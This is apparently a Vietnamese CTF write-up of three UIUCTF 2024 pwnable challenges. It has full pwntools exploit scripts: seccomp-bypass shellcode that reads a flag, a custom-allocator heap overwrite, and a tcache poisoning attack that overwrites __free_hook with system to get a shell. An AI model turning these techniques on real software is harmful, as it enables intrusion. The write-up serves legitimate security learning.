Skip to content

UIUCTF 2024: PWNABLE WRITE UP

Published: at 05:17 AM

Table of contents

Open Table of contents

SYSCALLS

Đây là một bài shellcode bypass seccomp. Chương trình sẽ đọc và thực thi shellcode mình truyền vào cùng với một số seccomp như sau:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x16 0xc000003e  if (A != ARCH_X86_64) goto 0024
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x13 0xffffffff  if (A != 0xffffffff) goto 0024
 0005: 0x15 0x12 0x00 0x00000000  if (A == read) goto 0024
 0006: 0x15 0x11 0x00 0x00000001  if (A == write) goto 0024
 0007: 0x15 0x10 0x00 0x00000002  if (A == open) goto 0024
 0008: 0x15 0x0f 0x00 0x00000011  if (A == pread64) goto 0024
 0009: 0x15 0x0e 0x00 0x00000013  if (A == readv) goto 0024
 0010: 0x15 0x0d 0x00 0x00000028  if (A == sendfile) goto 0024
 0011: 0x15 0x0c 0x00 0x00000039  if (A == fork) goto 0024
 0012: 0x15 0x0b 0x00 0x0000003b  if (A == execve) goto 0024
 0013: 0x15 0x0a 0x00 0x00000113  if (A == splice) goto 0024
 0014: 0x15 0x09 0x00 0x00000127  if (A == preadv) goto 0024
 0015: 0x15 0x08 0x00 0x00000128  if (A == pwritev) goto 0024
 0016: 0x15 0x07 0x00 0x00000142  if (A == execveat) goto 0024
 0017: 0x15 0x00 0x05 0x00000014  if (A != writev) goto 0023
 0018: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # writev(fd, vec, vlen)
 0019: 0x25 0x03 0x00 0x00000000  if (A > 0x0) goto 0023
 0020: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0024
 0021: 0x20 0x00 0x00 0x00000010  A = fd # writev(fd, vec, vlen)
 0022: 0x25 0x00 0x01 0x000003e8  if (A <= 0x3e8) goto 0024
 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0024: 0x06 0x00 0x00 0x00000000  return KILL

Có thể thấy seccomp đã chặn các syscall thường dùng để pop shell như execveexecveat, hầu như các syscalls liên quan tới open, read, write cũng bị chặn Sau khi check và thử thì mình thấy còn lại một số syscall hữu dụng:

Từ ba syscall trên ta có thể build được một shellcode open read write để đọc flag (Challenge đã cho ta biết file flag nằm cùng thư mục với file challnge)

Script của mình:

from pwn import *
import os

del os.environ['WT_SESSION']
context.log_level = 'debug'
context.binary = exe = ELF('./syscalls')

libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')

gs = '''
     b *setvbuf
     c
     del 1
     '''

match sys.argv[1]:
    case "run":
        p = process(exe.path)
    case "debug":
        p = gdb.debug(exe.path, gs)
    case "remote":
        p = remote('syscalls.chal.uiuc.tf', 1337, ssl=True)
    case default:
        p = "nothing"

def main():
    payload_1 = asm('''
                mov rbx, [rsp + 0x100]
                sub rbx, 0x29d90
                mov rax, 0x7478
                push rax
                mov rax, 0x742e67616c662f2e
                push rax
                mov rsi, rsp
                mov rdi, 0xffffffffffffff9c
                mov rdx, 0x0
                mov rax, 0x101
                syscall
                mov rdi, 0x0
                mov rsi, 0x40
                mov rdx, 0x1
                mov r8, rax
                mov r9, 0x0
                mov r10, 0x3
                mov rax, 0x9
                syscall
                mov rcx, 0x100
                push rcx
                push rax
                mov rdi, 0x100000001
                mov rsi, rsp
                mov rax, 0x14
                syscall
                ''')

    p.sendlineafter(b'you.\n', payload_1)

    p.interactive()

if __name__ == "__main__":
    main()

PWNYMALLOC

Đây là một bài ret2win với malloc & free tự chế

Đầu tiên trong hàm main cho ta 4 option:

    while (1) {
        puts("\n1. Submit a complaint");
        puts("2. View pending complaints");
        puts("3. Request a refund");
        puts("4. Check refund status");
        puts("5. Exit\n");

Ta sẽ xem qua từng option trên

1 + 2. Submit a complaint & View pending complaints

void handle_complaint() {
    puts("Please enter your complaint:");
    char *trash = pwnymalloc(0x48);
    fgets(trash, 0x48, stdin);
    memset(trash, 0, 0x48);
    pwnyfree(trash);
    puts("Thank you for your feedback! We take all complaints very seriously.");
}

void handle_view_complaints() {
    puts("Oh no! Our complaint database is currently down. Please try again later.");
}

3. Request a refund

void handle_refund_request() {
    int request_id = -1;
    for (int i = 0; i < 10; i++) {
        if (requests[i] == NULL) {
            request_id = i;
            break;
        }
    }

    if (request_id == -1) {
        puts("Sorry, we are currently unable to process any more refund requests.");
    }

    refund_request_t *request = pwnymalloc(sizeof(refund_request_t));
    puts("Please enter the dollar amount you would like refunded:");
    char amount_str[0x10];
    fgets(amount_str, 0x10, stdin);
    sscanf(amount_str, "%d", &request->amount);

    puts("Please enter the reason for your refund request:");
    fgets(request->reason, 0x80, stdin);
    request->reason[0x7f] = '\0'; // null-terminate

    puts("Thank you for your request! We will process it shortly.");
    request->status = REFUND_DENIED;

    requests[request_id] = request;

    printf("Your request ID is: %d\n", request_id);
}
typedef enum {
    REFUND_DENIED,
    REFUND_APPROVED,
} refund_status_t;

typedef struct refund_request {
    refund_status_t status;
    int amount;
    char reason[0x80];
} refund_request_t;

refund_request_t *requests[10] = {NULL};

4. Check refund status

void handle_refund_status() {
    puts("Please enter your request ID:");
    char id_str[0x10];
    fgets(id_str, 0x10, stdin);
    int request_id;
    sscanf(id_str, "%d", &request_id);

    if (request_id < 0 || request_id >= 10) {
        puts("Invalid request ID.");
        return;
    }

    refund_request_t *request = requests[request_id];
    if (request == NULL) {
        puts("Invalid request ID.");
        return;
    }

    if (request->status == REFUND_APPROVED) {
        puts("Your refund request has been approved!");
        puts("We don't actually have any money, so here's a flag instead:");
        print_flag();
    } else {
        puts("Your refund request has been denied.");
    }
}

5. pwnymalloc

void *pwnymalloc(size_t size) {
    if (heap_start == NULL) {
        heap_start = sbrk(0);
        heap_end = heap_start;
    }

    if (size == 0) {
        return NULL;
    }

    size_t total_size = MAX(ALIGN(size + INUSE_META_SIZE), MIN_BLOCK_SIZE);

    chunk_ptr block = find_fit(total_size);

    if (block == NULL) {
        block = extend_heap(total_size);
        if (block == NULL) {
            return NULL;
        }
    } else if (get_size(block) >= total_size + MIN_BLOCK_SIZE) {
        split(block, total_size);
    }

    return (void *)((char *)block + INUSE_META_SIZE);
}

6. pwnyfree

void pwnyfree(void *ptr) {
    if (ptr == NULL) {
        return;
    }

    chunk_ptr block = (chunk_ptr)((char *)ptr - INUSE_META_SIZE);

    // Check alignment and status
    if ((size_t)block % ALIGNMENT != 0 || get_status(block) != INUSE) {
        return;
    }

    set_status(block, FREE);
    set_btag(block, get_size(block));

    block = coalesce(block);

    printf("Block size: %zu\n", get_size(block));

    free_list_insert(block);
}
static size_t get_prev_size(chunk_ptr block) {
    btag_t *prev_footer = (btag_t *)((char *)block - BTAG_SIZE);
    return prev_footer->size;
}

static chunk_ptr prev_chunk(chunk_ptr block) {
    if ((void *)block - get_prev_size(block) < heap_start || get_prev_size(block) == 0) {
        return NULL;
    }
    return (chunk_ptr)((char *)block - get_prev_size(block));
}

static chunk_ptr coalesce(chunk_ptr block) {
    chunk_ptr prev_block = prev_chunk(block);
    chunk_ptr next_block = next_chunk(block);
    size_t size = get_size(block);

    int prev_status = prev_block == NULL ? -1 : get_status(prev_block);
    int next_status = next_block == NULL ? -1 : get_status(next_block);

    if (prev_status == FREE && next_status == FREE) {
        free_list_remove(next_block);
        free_list_remove(prev_block);

        size += get_size(prev_block) + get_size(next_block);
        prev_block->size = pack_size(size, FREE);
        set_btag(prev_block, size);

        return prev_block;
    }
    if (prev_status == FREE) {
        free_list_remove(prev_block);

        size += get_size(prev_block);
        prev_block->size = pack_size(size, FREE);
        set_btag(prev_block, size);

        return prev_block;
    }
    if (next_status == FREE) {
        free_list_remove(next_block);

        size += get_size(next_block);
        block->size = pack_size(size, FREE);
        set_btag(block, size);

        return block;
    }

    return block;
}

Script của mình:

from pwn import *
import os

del os.environ['WT_SESSION']
context.log_level = 'debug'
context.binary = exe = ELF('./chal')

libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')

gs = '''
     b *handle_refund_status
     b *handle_complaint
     b *coalesce
     c
     '''

match sys.argv[1]:
    case "run":
        p = process(exe.path)
    case "debug":
        p = gdb.debug(exe.path, gs)
    case "remote":
        p = remote('pwnymalloc.chal.uiuc.tf', 1337, ssl=True)
    case default:
        p = "nothing"

def submit(data):
    p.sendlineafter(b'> ', b"1")
    p.sendlineafter(b'Please enter your complaint:\n', data)

def request(num, payload):
    p.sendlineafter(b'> ', b"3")
    p.sendlineafter(b'would like refunded:\n', str(num))
    p.sendafter(b'your refund request:\n', payload)

def check(id):
    p.sendlineafter(b'> ', b'4')
    p.sendlineafter(b'your request ID:\n', str(id).encode())

def main():
    payload = 11 * p64(0xf0) + 4 * p64(0x0) + b'\xc0' + 6 * b'\x00' 
    request(1, payload)
    request(1, payload)
    submit(7 * p64(0x51))

    payload = 15 * p64(0x1) + 7 * b'\x00'
    request(1, payload)

    check(1)

    p.interactive()

if __name__ == "__main__":
    main()

RUSTY POINTERS

Đây là một rust challenge sử dụng glibc 2.31. May mắn là chúng ta được cho cả file source.

fn menu() {
	println!("1. Create a Rule or Note");
	println!("2. Delete a Rule or Note");
	println!("3. Read a Rule or Note");
	println!("4. Edit a Rule or Note");
	println!("5. Make a Law");
	println!("6. Exit");
}

fn submenu(){
	println!("1. Rules");
	println!("2. Notes");
}

Chúng ta sẽ có 5 option của một bài heap là create, delete, edit, read và 2 option phụ. Tuy không giỏi đọc rust lắm nhưng mà sau một hồi ngồi thử và debug thì mình thấy được rằng:

    create(rule)
    create(note)
    create(note)
    delete(note, 1)
    delete(note, 0)
    read(rule, 0)
Contents of Buffer: 
[160, 123, 23, 33, 126, 85, 0, 0, 16, 80, 23, 33, 126, 85, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
0x557e21177ba0, 0x557e21175010

Script của mình:

from pwn import *
import os

del os.environ['WT_SESSION']
context.log_level = 'debug'
context.binary = exe = ELF('./rusty_ptrs_patched')

libc = ELF('./libc.so.6')

match sys.argv[1]:
    case "run":
        p = process(exe.path)
    case "debug":
        p = gdb.debug(exe.path)
    case "remote":
        p = remote('rustyptrs.chal.uiuc.tf', 1337, ssl=True)
    case default:
        p = "nothing"

rule = 1
note = 2

def create(opt):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'> ', str(opt).encode())

def delete(opt, id):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'> ', str(opt).encode())
    p.sendlineafter(b'> ', str(id).encode())

def read(opt, id):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'> ', str(opt).encode())
    p.sendlineafter(b'> ', str(id).encode())

def edit(opt, id, data):
    p.sendlineafter(b'> ', b'4')
    p.sendlineafter(b'> ', str(opt).encode())
    p.sendlineafter(b'> ', str(id).encode())
    p.sendlineafter(b'> ', data)

def leak():
    p.sendlineafter(b'> ', b'5')
    tmp = p.recvline()[0:14]
    return int(tmp, 16)

def main():
    libc_leak = leak()
    libc.address = libc_leak - 0x1ecbe0
    log.info("Libc base: " + hex(libc.address))

    create(rule)
    create(note)
    create(note)
    delete(note, 1)
    delete(note, 0)
    read(rule, 0)

    edit(rule, 0, p64(libc.sym['__free_hook']))
    create(note)
    create(note)
    
    edit(note, 1, p64(libc.sym['system']))
    edit(note, 0, b'/bin/sh\x00')

    delete(note, 0)

    p.interactive()

if __name__ == "__main__":
    main()

BACKUP POWER

Updating…